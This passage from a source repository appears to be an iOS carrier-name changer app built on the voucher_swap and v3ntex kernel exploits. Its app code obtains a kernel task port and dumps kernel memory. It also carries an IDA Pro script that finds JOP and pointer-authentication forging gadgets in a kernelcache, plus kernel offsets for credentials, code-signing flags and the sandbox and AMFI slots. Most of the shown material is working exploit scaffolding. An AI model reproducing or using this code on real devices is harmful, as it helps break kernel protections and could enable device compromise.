mach_vm_size_t *outsize); 13 | 14 | @interface ViewController () { 15 | BOOL is4Kdevice; 16 | } 17 | 18 | @end 19 | 20 | @implementation ViewController 21 | 22 | - (bool)voucher_swap { 23 | vm_size_t size = 0; 24 | host_page_size(mach_host_self(), &size); 25 | if (size < 16000) { 26 | printf("4K device\nExploit selected: v3ntex.\n"); 27 | is4Kdevice = TRUE; 28 | return false; 29 | } 30 | voucher_swap(); 31 | if (!MACH_PORT_VALID(kernel_task_port)) { 32 | printf("tfp0 is invalid?\n"); 33 | is4Kdevice = FALSE; 34 | return false; 35 | } 36 | printf("16K device\nExploit selected: voucher_swap.\n"); 37 | is4Kdevice = FALSE; 38 | return true; 39 | } 40 | 41 | //v3ntex 42 | void DumpHex(const void* data, size_t size) { 43 | char ascii[17]; 44 | size_t i, j; 45 | ascii[16] = '\0'; 46 | for (i = 0; i < size; ++i) { 47 | printf("%02X ", ((unsigned char*)data)[i]); 48 | if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { 49 | ascii[i % 16] = ((unsigned char*)data)[i]; 50 | } else { 51 | ascii[i % 16] = '.'; 52 | } 53 | if ((i+1) % 8 == 0 || i+1 == size) { 54 | printf(" "); 55 | if ((i+1) % 16 == 0) { 56 | printf("| %s \n", ascii); 57 | } else if (i+1 == size) { 58 | ascii[(i+1) % 16] = '\0'; 59 | if ((i+1) % 16 <= 8) { 60 | printf(" "); 61 | } 62 | for (j = (i+1) % 16; j < 16; ++j) { 63 | printf(" "); 64 | } 65 | printf("| %s \n", ascii); 66 | } 67 | } 68 | } 69 | } 70 | 71 | //v3ntex 72 | kern_return_t dumpSomeKernel(task_t tfp0, kptr_t kbase, void *data){ 73 | kern_return_t err = 0; 74 | char buf[0x1000] = {}; 75 | 76 | mach_vm_size_t rSize = 0; 77 | err = mach_vm_read_overwrite(tfp0, kbase, sizeof(buf), buf, &rSize); 78 | 79 | printf("some kernel:\n"); 80 | DumpHex(buf, sizeof(buf)); 81 | 82 | printf("lol\n"); 83 | [[NSUserDefaults standardUserDefaults] setBool:TRUE forKey:@"isSucceed"]; 84 | return err; 85 | } 86 | 87 | - (void)failure { 88 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Error: exploit" message:nil preferredStyle:UIAlertControllerStyleAlert]; 89 | [self presentViewController:alert animated:YES completion:nil]; 90 | } 91 | 92 | - (void)v3ntexFailure { 93 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Error: exploit. Reboot and retry." message:nil preferredStyle:UIAlertControllerStyleAlert]; 94 | [self presentViewController:alert animated:YES completion:nil]; 95 | } 96 | 97 | 98 | - (IBAction)go:(id)sender { 99 | Post *post = [[Post alloc] init]; 100 | bool success = [self voucher_swap]; 101 | if (success) { 102 | sleep(1); 103 | [post go]; 104 | [self editPlist]; 105 | [post reboot]; 106 | 107 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Success!" message:[NSString stringWithFormat:@"Successfuly changed carrier name to %@", self.carrierTextField.text] preferredStyle:UIAlertControllerStyleAlert]; 108 | [alert addAction:[UIAlertAction actionWithTitle:@"Done" style:UIAlertActionStyleCancel handler:nil]]; 109 | [self presentViewController:alert animated:YES completion:nil]; 110 | } else if (is4Kdevice) { 111 | [self dov3ntex]; 112 | if ([[NSUserDefaults standardUserDefaults] boolForKey:@"isSucceed"] == TRUE) { 113 | printf("v3ntex: success\n"); 114 | [post letsChange]; 115 | [self editPlist]; 116 | [post v3ntexApply]; 117 | 118 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Success!" message:[NSString stringWithFormat:@"Successfuly changed carrier name to %@ \n Reboot your device.", self.carrierTextField.text] preferredStyle:UIAlertControllerStyleAlert]; 119 | [alert addAction:[UIAlertAction actionWithTitle:@"Done" style:UIAlertActionStyleCancel handler:nil]]; 120 | [self presentViewController:alert animated:YES completion:nil]; 121 | } else { 122 | printf("v3ntex: failed\n"); 123 | [self v3ntexFailure]; 124 | } 125 | } else { 126 | [self failure]; 127 | } 128 | } 129 | 130 | - (void)editPlist { 131 | NSString *folderPath = @"/var/mobile/Media/Overlay/"; 132 | NSString *carrierText = self.carrierTextField.text; 133 | NSArray *plistNames = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:folderPath error:nil]; 134 | 135 | for (NSString *plistName in plistNames) { 136 | 137 | if (![plistName.pathExtension isEqualToString:@"plist"]) { 138 | continue; 139 | } 140 | 141 | NSString *plistFullPath = [folderPath stringByAppendingPathComponent:plistName]; 142 | 143 | NSMutableDictionary* plistDict = [[NSDictionary dictionaryWithContentsOfFile:plistFullPath] mutableCopy]; 144 | NSMutableArray* images = [plistDict[@"StatusBarImages"] mutableCopy]; 145 | for (int i = 0; i < images.count; i++) 146 | { 147 | NSMutableDictionary* sbImage = [images[i] mutableCopy]; 148 | [sbImage setValue:carrierText forKey:@"StatusBarCarrierName"]; 149 | images[i] = [sbImage copy]; 150 | } 151 | plistDict[@"StatusBarImages"] = [images copy]; 152 | [plistDict setValue:carrierText forKey:@"OverrideOperatorWiFiName"]; 153 | 154 | [plistDict writeToFile:plistFullPath atomically:YES]; 155 | } 156 | } 157 | 158 | - (void)viewDidLoad { 159 | [super viewDidLoad]; 160 | self.carrierTextField.delegate = self; 161 | } 162 | 163 | - (IBAction)gotRevert:(id)sender { 164 | Post *post = [[Post alloc] init]; 165 | bool success = [self voucher_swap]; 166 | if (success) { 167 | sleep(1); 168 | if ([[NSFileManager defaultManager] fileExistsAtPath:@"/var/mobile/Media/CarrierChanger12/"]) { 169 | [post revert]; 170 | [post reboot]; 171 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Success!" message:[NSString stringWithFormat:@"Successfully changed carrier name again."] preferredStyle:UIAlertControllerStyleAlert]; 172 | [alert addAction:[UIAlertAction actionWithTitle:@"Done" style:UIAlertActionStyleCancel handler:nil]]; 173 | [self presentViewController:alert animated:YES completion:nil]; 174 | } else { 175 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Failed." message:[NSString stringWithFormat:@"You have never changed carrier name before. press Apply instead of this."] preferredStyle:UIAlertControllerStyleAlert]; 176 | [alert addAction:[UIAlertAction actionWithTitle:@"Done" style:UIAlertActionStyleCancel handler:nil]]; 177 | [self presentViewController:alert animated:YES completion:nil]; 178 | } 179 | } else if (is4Kdevice) { 180 | if ([[NSFileManager defaultManager] fileExistsAtPath:@"/var/mobile/Media/CarrierChanger12/"]) { 181 | [self dov3ntex]; 182 | if ([[NSUserDefaults standardUserDefaults] boolForKey:@"isSucceed"] == TRUE) { 183 | printf("v3ntex: success\n"); 184 | [post changeItAgain]; 185 | [post v3ntexApply]; 186 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Success!" message:[NSString stringWithFormat:@"Successfully changed carrier name again. Reboot your device."] preferredStyle:UIAlertControllerStyleAlert]; 187 | [alert addAction:[UIAlertAction actionWithTitle:@"Done" style:UIAlertActionStyleCancel handler:nil]]; 188 | [self presentViewController:alert animated:YES completion:nil]; 189 | } else { 190 | printf("v3ntex: failed\n"); 191 | [self v3ntexFailure]; 192 | } 193 | } else { 194 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Failed." message:[NSString stringWithFormat:@"You have never changed carrier name before. press Apply instead of this."] preferredStyle:UIAlertControllerStyleAlert]; 195 | [alert addAction:[UIAlertAction actionWithTitle:@"Done" style:UIAlertActionStyleCancel handler:nil]]; 196 | [self presentViewController:alert animated:YES completion:nil]; 197 | } 198 | } else { 199 | [self failure]; 200 | } 201 | } 202 | 203 | - (void)dov3ntex { 204 | struct utsname ustruct = {}; 205 | uname(&ustruct); 206 | printf("kern=%s\n",ustruct.version); 207 | 208 | mach_port_t tfp0 = v3ntex(); 209 | if (tfp0) dumpSomeKernel(tfp0, kbase, NULL); 210 | } 211 | 212 | - (BOOL) textFieldShouldReturn:(UITextField *)textField { 213 | [textField resignFirstResponder]; 214 | return YES; 215 | } 216 | 217 | - (IBAction)creditClicked:(id)sender { 218 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Credits" message:[NSString stringWithFormat:@"voucher_swap by bazad\nfork by alticha\nv3ntex by tihmstar\nfork by Jake James\nCarrierChanger12 by PeterDev\n\nSpecial Thanks to Muirey, Luis E,\nWei-Jin Tzeng, Code4iOS,\n jailbreak365 and CoryKornowicz"] preferredStyle:UIAlertControllerStyleAlert]; 219 | [alert addAction:[UIAlertAction actionWithTitle:@"Done" style:UIAlertActionStyleCancel handler:nil]]; 220 | [self presentViewController:alert animated:YES completion:nil]; 221 | } 222 | @end 223 | -------------------------------------------------------------------------------- /voucher_swap/app/main.m: -------------------------------------------------------------------------------- 1 | // 2 | // main.m 3 | // voucher_swap 4 | // 5 | // Created by Brandon Azad on 12/7/18. 6 | // Copyright © 2018 Brandon Azad. All rights reserved. 7 | // 8 | 9 | #import 10 | #import "AppDelegate.h" 11 | 12 | int main(int argc, char * argv[]) { 13 | @autoreleasepool { 14 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /voucher_swap/headers/IOKitLib.h: -------------------------------------------------------------------------------- 1 | /* 2 | * IOKitLib.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__IOKITLIB_H_ 6 | #define VOUCHER_SWAP__IOKITLIB_H_ 7 | 8 | #include 9 | #include 10 | 11 | typedef mach_port_t io_object_t; 12 | typedef io_object_t io_connect_t; 13 | typedef io_object_t io_iterator_t; 14 | typedef io_object_t io_service_t; 15 | 16 | extern const mach_port_t kIOMasterPortDefault; 17 | 18 | kern_return_t 19 | IOObjectRelease( 20 | io_object_t object ); 21 | 22 | io_object_t 23 | IOIteratorNext( 24 | io_iterator_t iterator ); 25 | 26 | io_service_t 27 | IOServiceGetMatchingService( 28 | mach_port_t masterPort, 29 | CFDictionaryRef matching CF_RELEASES_ARGUMENT); 30 | 31 | kern_return_t 32 | IOServiceGetMatchingServices( 33 | mach_port_t masterPort, 34 | CFDictionaryRef matching CF_RELEASES_ARGUMENT, 35 | io_iterator_t * existing ); 36 | 37 | kern_return_t 38 | IOServiceOpen( 39 | io_service_t service, 40 | task_port_t owningTask, 41 | uint32_t type, 42 | io_connect_t * connect ); 43 | 44 | kern_return_t 45 | IOServiceClose( 46 | io_connect_t connect ); 47 | 48 | kern_return_t 49 | IOConnectCallMethod( 50 | mach_port_t connection, // In 51 | uint32_t selector, // In 52 | const uint64_t *input, // In 53 | uint32_t inputCnt, // In 54 | const void *inputStruct, // In 55 | size_t inputStructCnt, // In 56 | uint64_t *output, // Out 57 | uint32_t *outputCnt, // In/Out 58 | void *outputStruct, // Out 59 | size_t *outputStructCnt) // In/Out 60 | AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; 61 | 62 | kern_return_t 63 | IOConnectTrap6(io_connect_t connect, 64 | uint32_t index, 65 | uintptr_t p1, 66 | uintptr_t p2, 67 | uintptr_t p3, 68 | uintptr_t p4, 69 | uintptr_t p5, 70 | uintptr_t p6); 71 | 72 | CFMutableDictionaryRef 73 | IOServiceMatching( 74 | const char * name ) CF_RETURNS_RETAINED; 75 | 76 | #endif 77 | -------------------------------------------------------------------------------- /voucher_swap/headers/ipc_port.h: -------------------------------------------------------------------------------- 1 | /* 2 | * ipc_port.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__IPC_PORT_H_ 6 | #define VOUCHER_SWAP__IPC_PORT_H_ 7 | 8 | #include 9 | #include 10 | 11 | // ---- osfmk/kern/waitq.h ------------------------------------------------------------------------ 12 | 13 | #define _EVENT_MASK_BITS ((sizeof(uint32_t) * 8) - 7) 14 | 15 | #define WQT_QUEUE 0x2 16 | 17 | union waitq_flags { 18 | struct { 19 | uint32_t /* flags */ 20 | waitq_type:2, /* only public field */ 21 | waitq_fifo:1, /* fifo wakeup policy? */ 22 | waitq_prepost:1, /* waitq supports prepost? */ 23 | waitq_irq:1, /* waitq requires interrupts disabled */ 24 | waitq_isvalid:1, /* waitq structure is valid */ 25 | waitq_turnstile_or_port:1, /* waitq is embedded in a turnstile (if irq safe), or port (if not irq safe) */ 26 | waitq_eventmask:_EVENT_MASK_BITS; 27 | }; 28 | uint32_t flags; 29 | }; 30 | 31 | // ---- osfmk/kern/ipc_kobject.h ------------------------------------------------------------------ 32 | 33 | #define IKOT_NONE 0 34 | #define IKOT_TASK 2 35 | 36 | // ---- osfmk/ipc/ipc_object.h -------------------------------------------------------------------- 37 | 38 | #define IO_BITS_KOTYPE 0x00000fff /* used by the object */ 39 | #define IO_BITS_ACTIVE 0x80000000 /* is object alive? */ 40 | 41 | #define io_makebits(active, otype, kotype) \ 42 | (((active) ? IO_BITS_ACTIVE : 0) | ((otype) << 16) | (kotype)) 43 | 44 | #define IOT_PORT 0 45 | 46 | // ---- Custom definitions ------------------------------------------------------------------------ 47 | 48 | #define MACH_HEADER_SIZE_DELTA (2 * (sizeof(uint64_t) - sizeof(uint32_t))) 49 | 50 | // ------------------------------------------------------------------------------------------------ 51 | 52 | #endif 53 | -------------------------------------------------------------------------------- /voucher_swap/headers/mach_vm.h: -------------------------------------------------------------------------------- 1 | /* 2 | * mach_vm.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__MACH_VM_H_ 6 | #define VOUCHER_SWAP__MACH_VM_H_ 7 | 8 | #include 9 | 10 | extern 11 | kern_return_t mach_vm_allocate 12 | ( 13 | vm_map_t target, 14 | mach_vm_address_t *address, 15 | mach_vm_size_t size, 16 | int flags 17 | ); 18 | 19 | extern 20 | kern_return_t mach_vm_deallocate 21 | ( 22 | vm_map_t target, 23 | mach_vm_address_t address, 24 | mach_vm_size_t size 25 | ); 26 | 27 | extern 28 | kern_return_t mach_vm_write 29 | ( 30 | vm_map_t target_task, 31 | mach_vm_address_t address, 32 | vm_offset_t data, 33 | mach_msg_type_number_t dataCnt 34 | ); 35 | 36 | extern 37 | kern_return_t mach_vm_read_overwrite 38 | ( 39 | vm_map_t target_task, 40 | mach_vm_address_t address, 41 | mach_vm_size_t size, 42 | mach_vm_address_t data, 43 | mach_vm_size_t *outsize 44 | ); 45 | 46 | #endif 47 | -------------------------------------------------------------------------------- /voucher_swap/ida/kernel_call_parameters.py: -------------------------------------------------------------------------------- 1 | # 2 | # voucher_swap/kernel_call_parameters.py 3 | # Brandon Azad 4 | # 5 | # This script detects the kernel_call parameters for voucher_swap. 6 | # 7 | # Steps: 8 | # - Load the desired kernelcache into IDA Pro 7.2. Do not split by kext. 9 | # - Call analysis_init() to perform basic initialization of the kernelcache (converting pointers 10 | # to offsets, forcing instructions to code, etc.). 11 | # - Call voucher_swap_kernel_call_parameters() to find the kernel call parameters. These results 12 | # should be checked manually to ensure correctness! 13 | # 14 | 15 | from analysis import * 16 | 17 | def voucher_swap_kernel_call_parameters(): 18 | process_metaclasses() 19 | process_vtables() 20 | 21 | has_pac = kernelcache_has_pac() 22 | 23 | if has_pac: 24 | analyze_l2tp_domain_module() 25 | find_jop_gadgets() 26 | find_pacxa_gadget() 27 | analyze_IOUserClient() 28 | analyze_IORegistryEntry() 29 | if has_pac: 30 | analyze_IOAudio2DeviceUserClient() 31 | 32 | def kernelcache_has_pac(): 33 | header = get_segm_by_name('__TEXT:HEADER') 34 | cpu_subtype = idc.get_wide_dword(header + 0x8) 35 | return cpu_subtype >= 2 36 | 37 | def analyze_l2tp_domain_module(): 38 | # Get the pointers to l2tp_domain_module_start and l2tp_domain_module_stop. 39 | com_apple_nke_lttp = find_string('com.apple.nke.lttp') 40 | paciza_pointer__l2tp_domain_module_start = com_apple_nke_lttp + 0xb8 41 | paciza_pointer__l2tp_domain_module_stop = com_apple_nke_lttp + 0xc0 42 | assert is_code_ptr(paciza_pointer__l2tp_domain_module_start) 43 | assert is_code_ptr(paciza_pointer__l2tp_domain_module_stop) 44 | print_address('paciza_pointer__l2tp_domain_module_start', paciza_pointer__l2tp_domain_module_start) 45 | print_address('paciza_pointer__l2tp_domain_module_stop', paciza_pointer__l2tp_domain_module_stop) 46 | # Get the address of l2tp_domain_inited. 47 | l2tp_domain_init_str = find_substring('L2TP domain init') 48 | l2tp_domain_init = functions_with_xref_to(l2tp_domain_init_str)[0] 49 | l2tp_domain_inited = xrefs_from_func(l2tp_domain_init, ida_xref.dr_W)[0].to 50 | print_address('l2tp_domain_inited', l2tp_domain_inited) 51 | # Get the address of sysctl__net_ppp_l2tp. 52 | xrefs = xrefs_to(l2tp_domain_inited, ida_xref.dr_W) 53 | xrefs = filter(lambda xref: get_func_start(xref.frm) != l2tp_domain_init, xrefs) 54 | bb_start, bb_end = get_basic_block(xrefs[0].frm) 55 | sysctl__net_ppp_l2tp = xrefs_from_range(bb_start, bb_end, ida_xref.dr_O)[0].to 56 | print_address('sysctl__net_ppp_l2tp', sysctl__net_ppp_l2tp) 57 | # Get the address of sysctl_unregister_oid. 58 | sysctl_unregister_oid = xrefs_from_range(bb_start, bb_end, ida_xref.fl_CN)[0].to 59 | print_address('sysctl_unregister_oid', sysctl_unregister_oid) 60 | 61 | def find_jop_gadgets(): 62 | start_ea = get_segm_by_name('__TEXT_EXEC:__text') 63 | mov_x0_x4__br_x5 = idc.FindBinary(start_ea, idc.SEARCH_DOWN, "E0 03 04 AA A0 00 1F D6") 64 | mov_x9_x0__br_x1 = idc.FindBinary(start_ea, idc.SEARCH_DOWN, "E9 03 00 AA 20 00 1F D6") 65 | mov_x10_x3__br_x6 = idc.FindBinary(start_ea, idc.SEARCH_DOWN, "EA 03 03 AA C0 00 1F D6") 66 | print_address('mov_x0_x4__br_x5', mov_x0_x4__br_x5) 67 | print_address('mov_x9_x0__br_x1', mov_x9_x0__br_x1) 68 | print_address('mov_x10_x3__br_x6', mov_x10_x3__br_x6) 69 | 70 | def find_pacxa_gadget(): 71 | start_ea = get_segm_by_name('__TEXT_EXEC:__text') 72 | # These gadgets are much bigger than this: they encompass the entire function after the 73 | # specified entry point. But this should be enough to uniquely identify them. 74 | pacia_gadget = idc.FindBinary(start_ea, idc.SEARCH_DOWN, 75 | "49 01 C1 DA 49 78 00 F9 49 7C 40 F9 89 00 00 B4") 76 | pacda_gadget = idc.FindBinary(start_ea, idc.SEARCH_DOWN, 77 | "49 09 C1 DA 49 74 00 F9 89 F0 3C D5 29 01 7E B2") 78 | print_address('kernel_forge_pacia_gadget', pacia_gadget) 79 | print_address('kernel_forge_pacda_gadget', pacda_gadget) 80 | # Ideally we'd auto-detect these values by analyzing data flow in the function. 81 | print_size('kernel_forge_pacxa_gadget_buffer', 0x110) 82 | print_offset('kernel_forge_pacxa_gadget_buffer', 'first_access', 0xe8); 83 | print_offset('kernel_forge_pacxa_gadget_buffer', 'pacia_result', 0xf0); 84 | print_offset('kernel_forge_pacxa_gadget_buffer', 'pacda_result', 0xe8); 85 | 86 | def analyze_IOUserClient(): 87 | print_address('IOUserClient__vtable', vtable_for_class('IOUserClient')) 88 | 89 | def analyze_IORegistryEntry(): 90 | IORegistryEntry__getRegistryEntryID = idc.get_name_ea(idc.BADADDR, 91 | '__ZN15IORegistryEntry18getRegistryEntryIDEv') 92 | if IORegistryEntry__getRegistryEntryID == idc.BADADDR: 93 | IORegistryIterator_str = find_string('IORegistryIterator') 94 | base_func = functions_with_xref_to(IORegistryIterator_str)[1] 95 | IORegistryEntry__getRegistryEntryID = get_relative_func(base_func, -2) 96 | print_address('IORegistryEntry__getRegistryEntryID', IORegistryEntry__getRegistryEntryID) 97 | 98 | def analyze_IOAudio2DeviceUserClient(): 99 | vtable = vtable_for_class('IOAudio2DeviceUserClient') 100 | print_vtable_pac_codes('IOAudio2DeviceUserClient', extract_vtable_pac_codes(vtable)) 101 | 102 | # ---- Formatting --------------------------------------------------------------------------------- 103 | 104 | def print_vtable_pac_codes(name, pac_codes): 105 | formatted_pac_codes = '\n\t\t' 106 | for i in range(len(pac_codes)): 107 | formatted_pac_codes += '0x{:04x}'.format(pac_codes[i]) 108 | if i == len(pac_codes) - 1: 109 | pass 110 | elif i % 8 == 7: 111 | formatted_pac_codes += ',\n\t\t' 112 | else: 113 | formatted_pac_codes += ', ' 114 | print 'INIT_VTABLE_PAC_CODES({},{});'.format(name, formatted_pac_codes) 115 | 116 | def print_address(name, value): 117 | base = 'ADDRESS({})'.format(name) 118 | if is_mapped(value): 119 | value = 'SLIDE(0x{:016x})'.format(value) 120 | else: 121 | value = '0' 122 | print '{:56s}= {};'.format(base, value) 123 | 124 | def print_size(name, value): 125 | base = 'SIZE({})'.format(name) 126 | print '{:56s}= 0x{:x};'.format(base, value) 127 | 128 | def print_offset(base, field, value): 129 | base = 'OFFSET({}, {})'.format(base, field) 130 | print '{:56s}= 0x{:x};'.format(base, value) 131 | 132 | -------------------------------------------------------------------------------- /voucher_swap/post/offsets.h: -------------------------------------------------------------------------------- 1 | #ifndef offsets_h 2 | #define offsets_h 3 | 4 | extern unsigned off_p_pid; 5 | extern unsigned off_task; 6 | extern unsigned off_p_uid; 7 | extern unsigned off_p_gid; 8 | extern unsigned off_p_ruid; 9 | extern unsigned off_p_rgid; 10 | extern unsigned off_p_ucred; 11 | extern unsigned off_p_csflags; 12 | extern unsigned off_p_comm; 13 | 14 | extern unsigned off_itk_self; 15 | extern unsigned off_itk_sself; 16 | extern unsigned off_itk_bootstrap; 17 | extern unsigned off_itk_space; 18 | extern unsigned off_ip_mscount; 19 | extern unsigned off_ip_srights; 20 | extern unsigned off_ip_kobject; 21 | extern unsigned off_p_textvp; 22 | extern unsigned off_p_textoff; 23 | extern unsigned off_p_cputype; 24 | extern unsigned off_p_cpu_subtype; 25 | extern unsigned off_special; 26 | extern unsigned off_ipc_space_is_table; 27 | 28 | extern unsigned off_ucred_cr_uid; 29 | extern unsigned off_ucred_cr_ruid; 30 | extern unsigned off_ucred_cr_gid; 31 | extern unsigned off_ucred_cr_rgid; 32 | extern unsigned off_ucred_cr_svgid; 33 | extern unsigned off_ucred_cr_groups; 34 | extern unsigned off_ucred_cr_ngroups; 35 | extern unsigned off_ucred_cr_svuid; 36 | extern unsigned off_ucred_cr_label; 37 | 38 | extern unsigned off_amfi_slot; 39 | extern unsigned off_sandbox_slot; 40 | 41 | extern unsigned off_v_type; 42 | extern unsigned off_v_id; 43 | extern unsigned off_v_ubcinfo; 44 | extern unsigned off_v_flags; 45 | 46 | extern unsigned off_ubcinfo_csblobs; 47 | 48 | extern unsigned off_csb_cputype; 49 | extern unsigned off_csb_flags; 50 | extern unsigned off_csb_base_offset; 51 | extern unsigned off_csb_entitlements_offset; 52 | extern unsigned off_csb_signer_type; 53 | extern unsigned off_csb_platform_binary; 54 | extern unsigned off_csb_platform_path; 55 | extern unsigned off_csb_cd; 56 | 57 | extern unsigned off_t_flags; 58 | 59 | extern unsigned off_v_mount; 60 | extern unsigned off_v_specinfo; 61 | extern unsigned off_specflags; 62 | extern unsigned off_mnt_flag; 63 | extern unsigned off_mnt_data; 64 | 65 | #define CS_VALID 0x0000001 /* dynamically valid */ 66 | #define CS_ADHOC 0x0000002 /* ad hoc signed */ 67 | #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */ 68 | #define CS_INSTALLER 0x0000008 /* has installer entitlement */ 69 | 70 | #define CS_HARD 0x0000100 /* don't load invalid pages */ 71 | #define CS_KILL 0x0000200 /* kill process if it becomes invalid */ 72 | #define CS_CHECK_EXPIRATION 0x0000400 /* force expiration checking */ 73 | #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */ 74 | #define CS_ENFORCEMENT 0x0001000 /* require enforcement */ 75 | #define CS_REQUIRE_LV 0x0002000 /* require library validation */ 76 | #define CS_ENTITLEMENTS_VALIDATED 0x0004000 77 | 78 | #define CS_ALLOWED_MACHO 0x00ffffe 79 | 80 | #define CS_EXEC_SET_HARD 0x0100000 /* set CS_HARD on any exec'ed process */ 81 | #define CS_EXEC_SET_KILL 0x0200000 /* set CS_KILL on any exec'ed process */ 82 | #define CS_EXEC_SET_ENFORCEMENT 0x0400000 /* set CS_ENFORCEMENT on any exec'ed process */ 83 | #define CS_EXEC_SET_INSTALLER 0x0800000 /* set CS_INSTALLER on any exec'ed process */ 84 | 85 | #define CS_KILLED 0x1000000 /* was killed by kernel for invalidity */ 86 | #define CS_DYLD_PLATFORM 0x2000000 /* dyld used to load this is a platform binary */ 87 | #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */ 88 | #define CS_PLATFORM_PATH 0x8000000 /* platform binary by the fact of path (osx only) */ 89 | 90 | #define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */ 91 | #define CS_SIGNED 0x20000000 /* process has a signature (may have gone invalid) */ 92 | #define CS_DEV_CODE 0x40000000 /* code is dev signed, cannot be loaded into prod signed code (will go away with rdar://problem/28322552) */ 93 | 94 | void offs_init(void); 95 | 96 | #endif 97 | -------------------------------------------------------------------------------- /voucher_swap/post/offsets.m: -------------------------------------------------------------------------------- 1 | #import 2 | #import "offsets.h" 3 | 4 | #define SYSTEM_VERSION_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedSame) 5 | #define SYSTEM_VERSION_GREATER_THAN(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedDescending) 6 | #define SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedAscending) 7 | #define SYSTEM_VERSION_LESS_THAN(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedAscending) 8 | #define SYSTEM_VERSION_LESS_THAN_OR_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedDescending) 9 | 10 | unsigned off_p_pid = 0x60; // proc_t::p_pid 11 | unsigned off_task = 0x10; // proc_t::task 12 | unsigned off_p_uid = 0x28; // proc_t::p_uid 13 | unsigned off_p_gid = 0x2C; // proc_t::p_uid 14 | unsigned off_p_ruid = 0x30; // proc_t::p_uid 15 | unsigned off_p_rgid = 0x34; // proc_t::p_uid 16 | unsigned off_p_ucred = 0xF8; // proc_t::p_ucred 17 | unsigned off_p_csflags = 0x290; // proc_t::p_csflags 18 | unsigned off_p_comm = 0x250; // proc_t::p_comm 19 | unsigned off_p_textvp = 0x230; // proc_t::p_textvp 20 | unsigned off_p_textoff = 0x238; // proc_t::p_textoff 21 | unsigned off_p_cputype = 0x2A8; // proc_t::p_cputype 22 | unsigned off_p_cpu_subtype = 0x2AC; // proc_t::p_cpu_subtype 23 | 24 | unsigned off_itk_self = 0xD8; // task_t::itk_self (convert_task_to_port) 25 | unsigned off_itk_sself = 0xE8; // task_t::itk_sself (task_get_special_port) 26 | unsigned off_itk_bootstrap = 0x2B8; // task_t::itk_bootstrap (task_get_special_port) 27 | unsigned off_itk_space = 0x300; // task_t::itk_space 28 | 29 | unsigned off_ip_mscount = 0x9C; // ipc_port_t::ip_mscount (ipc_port_make_send) 30 | unsigned off_ip_srights = 0xA0; // ipc_port_t::ip_srights (ipc_port_make_send) 31 | unsigned off_ip_kobject = 0x68; // ipc_port_t::ip_kobject 32 | 33 | unsigned off_special = 2 * sizeof(long); // host::special 34 | unsigned off_ipc_space_is_table = 0x20; // ipc_space::is_table?.. 35 | 36 | unsigned off_ucred_cr_uid = 0x18; // ucred::cr_uid 37 | unsigned off_ucred_cr_ruid = 0x1c; // ucred::cr_ruid 38 | unsigned off_ucred_cr_svuid = 0x20; // ucred::cr_svuid 39 | unsigned off_ucred_cr_ngroups = 0x24; // ucred::cr_ngroups 40 | unsigned off_ucred_cr_groups = 0x28; // ucred::cr_groups 41 | unsigned off_ucred_cr_rgid = 0x68; // ucred::cr_rgid 42 | unsigned off_ucred_cr_svgid = 0x6c; // ucred::cr_svgid 43 | unsigned off_ucred_cr_label = 0x78; // ucred::cr_label 44 | 45 | unsigned off_amfi_slot = 0x8; 46 | unsigned off_sandbox_slot = 0x10; 47 | 48 | unsigned off_v_type = 0x70; // vnode::v_type 49 | unsigned off_v_id = 0x74; // vnode::v_id 50 | unsigned off_v_ubcinfo = 0x78; // vnode::v_ubcinfo 51 | unsigned off_v_flags = 0x54; // vnode::v_flags 52 | 53 | unsigned off_ubcinfo_csblobs = 0x50; // ubc_info::csblobs 54 | 55 | unsigned off_csb_cputype = 0x8; // cs_blob::csb_cputype 56 | unsigned off_csb_flags = 0x12; // cs_blob::csb_flags 57 | unsigned off_csb_base_offset = 0x16; // cs_blob::csb_base_offset 58 | unsigned off_csb_entitlements_offset = 0x90; // cs_blob::csb_entitlements 59 | unsigned off_csb_signer_type = 0xA0; // cs_blob::csb_signer_type 60 | unsigned off_csb_platform_binary = 0xA8; // cs_blob::csb_platform_binary 61 | unsigned off_csb_platform_path = 0xAC; // cs_blob::csb_platform_path 62 | unsigned off_csb_cd = 0x80; // cs_blob::csb_cd 63 | 64 | unsigned off_t_flags = 0x3A0; // task::t_flags 65 | 66 | unsigned off_v_mount = 0xD8; // vnode::v_mount 67 | unsigned off_v_specinfo = 0x78; // vnode::v_specinfo 68 | unsigned off_specflags = 0x10; 69 | unsigned off_mnt_flag = 0x70; // mount::mnt_flag 70 | unsigned off_mnt_data = 0x8F8; // mount::mnt_data 71 | 72 | void offs_init() { 73 | if (SYSTEM_VERSION_LESS_THAN(@"12.0")) { 74 | off_p_pid = 0x10; 75 | off_task = 0x18; 76 | off_p_uid = 0x30; 77 | off_p_gid = 0x34; 78 | off_p_ruid = 0x38; 79 | off_p_rgid = 0x3C; 80 | off_p_ucred = 0x100; 81 | off_p_csflags = 0x2A8; 82 | off_p_comm = 0x268; 83 | 